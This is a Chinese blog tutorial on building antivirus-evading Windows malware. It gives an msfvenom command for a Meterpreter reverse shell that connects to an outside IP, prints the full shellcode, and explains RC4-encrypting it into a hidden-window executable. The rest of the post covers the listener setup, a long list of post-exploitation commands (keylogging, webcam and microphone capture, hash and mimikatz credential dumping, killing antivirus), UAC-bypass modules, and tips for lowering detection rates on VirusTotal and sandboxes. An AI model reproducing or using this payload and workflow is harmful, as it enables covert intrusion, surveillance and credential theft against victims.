shellcode混淆rc4加密生成exe免杀火绒

shellcode混淆rc4加密生成exe免杀火绒

Deng YongJie's blog 1,023 2024-05-14

MSF生成C语言的payload或者使用cobalt strike生成也是一样的

Cobalt Strike生成方法

image-20240509092916350
image-20240509093020614

MSF生成方法

msfvenom -p windows/meterpreter/reverse_tcp lhost=42.194.xx.xx(内网穿透的公网IP地址)  lport=7777 -f c

#复制payload并整理成同1行
\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x57\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x01\xd3\x50\x8b\x48\x18\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x2a\xc2\x85\xa8\x68\x02\x00\x1e\x61\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5

打开Visual Stuido编辑代码,复制payload进去

源代码不方便提供,自行查找

使用debug模式在线运行,弹出cmd窗口后,复制最下面那段加密过的payload

image-20240509093855098
image-20240509094110781


//然后加上隐藏窗口的代码
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
#pragma comment(linker, "/INCREMENTAL:NO")

切换成Release生成解决方案

image-20240509094344860

MSF开启监听,等待有缘人执行程序上线

msfconsole

#载入multi/handler模块
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 7777
run

执行exe无弹窗无感知,隐藏在后台运行

20240509101443_rec_

后渗透常用命令

ID Command Description
1 upload 传文件到靶机
2 download 从靶机下载文件
3 screenshot 截图(Windows)
4 keyscan_start 启动键盘记录(Windows)
5 keyscan_dump 导出键盘(Windows)
6 keyscan_stop 停止键盘记录(Windows)
#Windows的一些命令
查看进程:ps
查看当前进程号:getpid
查看系统信息:sysinfo
查看目标机是否为虚拟机:run post/windows/gather/checkvm
查看完整网络设置:route
查看当前权限:getuid
自动提权:getsystem
关闭杀毒软件:run post/windows/manage/killav
启动远程桌面协议:run post/windows/manage/enable_rdp
列举当前登录的用户:run post/windows/gather/enum_logged_on_users
查看当前应用程序:run post/windows/gather/enum_applications
抓取目标机的屏幕截图:load espia 或 screengrab
获取相机设备:webcam_list
控制拍照 :webcam_snap
直播摄像头:webcam_stream
控制录音:record_mic
查看当前处于目标机的那个目录:pwd
查看当前目录:getlwd
导出当前用户密码哈希  run hashdump
用户名:SID:LM哈希:NTLM哈希:::

也可以使用下面这个命令导出权限更高   run windows/gather/smart_hashdump
抓取自动登录的用户名和密码  run windows/gather/credentials/windows_autologin

直接获取明文密码(注意这个功能需要获取系统权限  获取系统权限需要输入getsystem)
首选终端输入  load kiwi    加载kiwi

creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码

#文件系统命令
cat c:\boot.ini#查看文件内容,文件必须存在
del c:\boot.ini #删除指定的文件
upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload  setup.exe C:\\windows\\system32
download nimeia.txt /root/Desktop/   # 下载文件到本机上如:download C:\\boot.ini /root/或者download C:\\"ProgramFiles"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/
edit c:\boot.ini  # 编辑文件
getlwd#打印本地目录
getwd#打印工作目录
lcd#更改本地目录
ls#列出在当前目录中的文件列表
lpwd#打印本地目录
pwd#输出工作目录
cd c:\\ #进入目录文件下
rm file #删除文件
mkdir dier #在受害者系统上的创建目录
rmdir#受害者系统上删除目录
dir#列出目标主机的文件和文件夹信息
mv#修改目标主机上的文件名
search -d d:\\www -f web.config #search 文件,如search  -d c:\\ -f*.doc
search -f autoexec.bat  #搜索文件
search -f sea*.bat c:\\xamp\\
enumdesktops   #用户登录数

后渗透提权

自动提权,不建议。会被火绒动态查杀!

方法一、 meterpreter中输入:getsystem

方法二、使用msf模块提权

要想提权必须是已经拿到meterpreter 然后将当前meterpreter 后台 meterprerer中输入

background

1、 查看可用模块 MSF终端中输入 search bypassuac 查看提权模块

2、 选择一个适合当前系统的提权模块 我这边使用的是win10系统

#尝试提权
use  exploit/windows/local/bypassuac_windows_store_reg

#这个模块不行就换一个 
use exploit/windows/local/bypassuac_sluihijack

#或者 
use exploit/windows/local/bypassuac_dotnet_profiler

3 配置模块使用参数 终端内输入

show options

4 可以看到需要配置 session 终端内输入

set session {需要提权的session id}

#执行提权终端内输入
run

5 获取到meterpreter后 我们在终端内 输入getuid 看实际还没有提权成功 需要在还终端内在输入 getsystem 获取权限

6 获取权限完成后 输入getuid 即可看到 已经获取到SYSTEM 最高权限了

下面是Cobalt Strike效果和查杀率

局域网和CDN防溯源拉黑、HTTPS防数据特征,建议使用Cobalt Strike,可视化更强。

如果是frp内网穿透的转发方式,数据传输转发会有问题,有些功能无法使用,建议使用MSF

2024-05-08 000610 (1)
2024-05-08 000610 (2)
2024-05-08 000610 (3)
2024-05-08 000610 (4)

微步沙箱通过率1/25

https://s.threatbook.com/

image-20240509171839272

virustotal通过率22/72

https://www.virustotal.com/

image-20240509171738621

注意,不能使用常规开源的加壳工具,列如:UPX这些,由于被公开大多数人已使用,其方法已经不管用,更容易被沙箱杀软检测出来,甚至可以溯源到目标IP地址。

加了UPX壳,直接被分析出来。由于市面上的加壳工具都被大部分人使用,所以其特征容易被杀毒软件判定为木马或误杀,而且会上传样本到沙箱环境进行分析判断,更容易识别特征,即使做了防沙箱,防反调试,防反编译,还是能够被杀软识别特征。所以冷门的可用方法极少,而且无法寻找答案,需要自行摸索。目前有机会免杀的方法是,纯汇编语言+花指令打乱逻辑+付费版加壳,由于纯汇编看不懂,这里并未深入验证过,只知其方法。

image-20240509171629032
image-20240509171703073

没加UPX壳时,反而无法溯源分析出来

image-20240509171533183
image-20240509171500952